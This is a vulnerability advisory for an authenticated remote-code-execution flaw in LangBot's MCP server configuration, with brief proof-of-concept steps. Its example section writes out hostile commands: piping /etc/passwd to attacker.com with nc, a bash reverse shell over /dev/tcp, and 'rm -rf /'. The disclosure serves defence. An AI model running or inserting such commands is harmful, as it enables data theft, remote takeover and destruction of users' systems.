CVE-2026-54449

Summary

LangBot: Authenticated RCE Via MCP Configuration

Severity

high

CVSS

8.8

EPSS

0.7% (p54)

CWE

CWE-77

Also known as

GHSA-3pvh-63gf-j9mw

Published

2026-07-15

Updated

2026-07-15

Advisory details

Summary

Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.

Details

The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.

Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.

PoC

1. Open the LangBot server
2. Navigate to Extensions
3. Open the "MCP" tab and press "Add"
4. Choose an STDIO server configuration
5. Add any arbitrary command with arguments

Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.

Impact

This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Video POC

https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea

Resources

https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/

References

• https://github.com/advisories/GHSA-3pvh-63gf-j9mw
• https://github.com/langbot-app/LangBot/security/advisories/GHSA-3pvh-63gf-j9mw

Related advisories

• GHSA-jqmf-mx4f-hfr6 — critical · PyPI/vibe-trading-ai
• CVE-2026-54680 — critical · Go/github.com/kube-logging/logging-operator
• CVE-2026-52806 — critical · Go/gogs.io/gogs
• AI-GROK-BANKR-WALLET-2026 — critical · Twitter/X/Grok (xAI) + Bankrbot crypto agent on X
• AI-FORCEDLEAK-AGENTFORCE-2025 — critical · Salesforce Agentforce/Salesforce Agentforce (Web-to-Lead)
• AI-MCP-TOOL-POISONING-2025 — critical · MCP/MCP tool poisoning
• CVE-2026-112942 — high · npm/launch-editor
• CVE-2026-102826 — high · npm/simple-git

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Summarize with AI

ChatGPTClaudePerplexity